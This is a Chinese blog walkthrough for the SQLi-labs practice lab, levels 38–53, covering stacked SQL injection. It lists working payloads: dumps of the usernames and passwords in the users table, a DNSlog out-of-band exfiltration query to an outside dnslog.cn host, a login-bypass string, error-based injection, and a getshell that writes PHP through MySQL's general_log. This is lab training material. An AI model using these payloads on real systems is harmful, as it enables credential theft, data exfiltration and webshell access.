SQLi-labs 堆叠注入 38-53关

SQLi-labs 堆叠注入 38-53关

LESS-38

书接上回,这次我们一样是冲击LESS-38

但这次不耍小聪明,我们使用DNSlog+堆叠注入的方法,来过关。

上次的代码,直接爆库,无视堆叠部分

?id=-1' union select 1,(select group_concat(username) from users),(select group_concat(password) from users)--+

DNSlog是在某些无法直接利用漏洞获得回显的情况下,利用他来把像获取的出去外带出去。

DNSLog

注入时,需要利用到load_file()函数

在数据库中使用 select load_file('\\\\sql注入查询语句.a.com')

后面是网址,自行去网站上申请

DNSLog Platform

比如我们使用最简单的语句,select database()再组合上我们的dnslog进行使用

语句为

select (concat('\\\\',database(),'.68iiiz.dnslog.cn/abc'))

具体操作笔者不在展示,因为笔者靶机没有网络。

日志Getshell

方法观看自’国光’的sql笔记

需要条件:

  1. Web 的物理路径

  2. MySQL 可以读写 Web 目录

  3. Windows 成功率 高于 Linux

首先查看日志

show variables like 'general%'

查看general_log属性,也就是日志属性的装态,可以发现,是关闭状态

利用堆叠注入开启

?id=1';set global general_log ='on';set global general_log_file='你想要的目录/shell.php';

然后在查询中输入phpinfo代码

?id=1';select <?php phpinfo();?>

日志中的代码

然后利用网址访问该PHP即可获得权限。

tips:注意分号;一定要写,不然不能运行

该方法在win系统下比liunx成功率要高


LESS-39

拼接方式:id=$id

与38一致


LESS-40

拼接方式:id=('$id')

与38一致


LESS-41

拼接方式:id=$id

与38一致,只是无回显


LESS-42

拼接方式:id=‘$id’

42关一打开,给人一种24关的感觉,总觉得又是利用#符号,来屏蔽后方进行绕过修改密码。

但点击注册界面,和24关不同,他告诉我们如果需要账号,就自己黑进去。

那么我们就可以利用堆叠注入,进行inset into进去我们的账号密码

那我们直接使用万用密码绕过,进入到修改界面

login_user=admin&login_password=1' or 1#&mysubmit=Login

绕过后直接进入到界面,默认是登录到id1,也就是dumb账号。

同时也让我们得知到,dumb这个值所在的位置是有回显的,那么我们直接可以查询账号密码。

我们还是先查询完账号吧

login_user=admin&login_password=1' union select 1,(select group_concat(username) from users),3#&mysubmit=Login

然后使用24关方法#屏蔽修改可以

获取完账号密码修改可以

最轻松的就是直接使用堆叠注入在后方使用update直接更改账号密码。


LESS-43

拼接方式:username=('$username')

与42一致


LESS-44

拼接方式:username='$username'

与42一致,无报错信息,不能使用报错注入


LESS-45

拼接方式:username=('$username')

与42一致,无报错信息,不能使用报错注入


LESS-46

进入页面,根据提示,发现该关卡和之前都不同,输入的值是sort

查看代码

发现原来是写到了orderby 里面去了

拼接方式:order by $id

那就不能使用联合注入了,因为已经是在句末了

尝试用报错注入,发现有报错信息,那么使用报错注入就好了

报错注入一次只能查一个数据,接下来就是慢慢查,不过多赘述。

?sort=1 and updatexml(1,concat('~',(select username from users limit 0,1),'~'),3)#

LESS-47

拼接方式:ORDER BY '$id'

与46一致,拼接方式不同


LESS-48

拼接方式:order by $id

改关没有报错提醒,就不能使用报错注入了。

可以使用布尔盲注,或者延时盲注。

那我们可以使用导出数据的方法,将数据导出到文件里,然后再进行查看。

?sort=1 into outfile"你想要的存放地点.文件名.txt"

然后进行访问即可,如果导入不成功,那么就是因为mysql没有读写权限的原因。

那我们就要去开启权限

?sort=1 set secure_file_priv = ''

设置为空任何目录都可导入。

然后执行导出就可以

但实际上,直接写入一句话php代码,就可以做到获得权限完成注入。


LESS-49

拼接方式:ORDER BY '$id'

类似48


LESS-50

拼接方式:ORDER BY $id

类似46,可以报错注入。另外还可以使用堆叠注入。


LESS-51

拼接方式:ORDER BY '$id'

类似50


LESS-52

拼接方式:ORDER BY $id

类似50,无报错回显。


LESS-53

拼接方式:ORDER BY '$id'

类似-51,但无报错注入

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值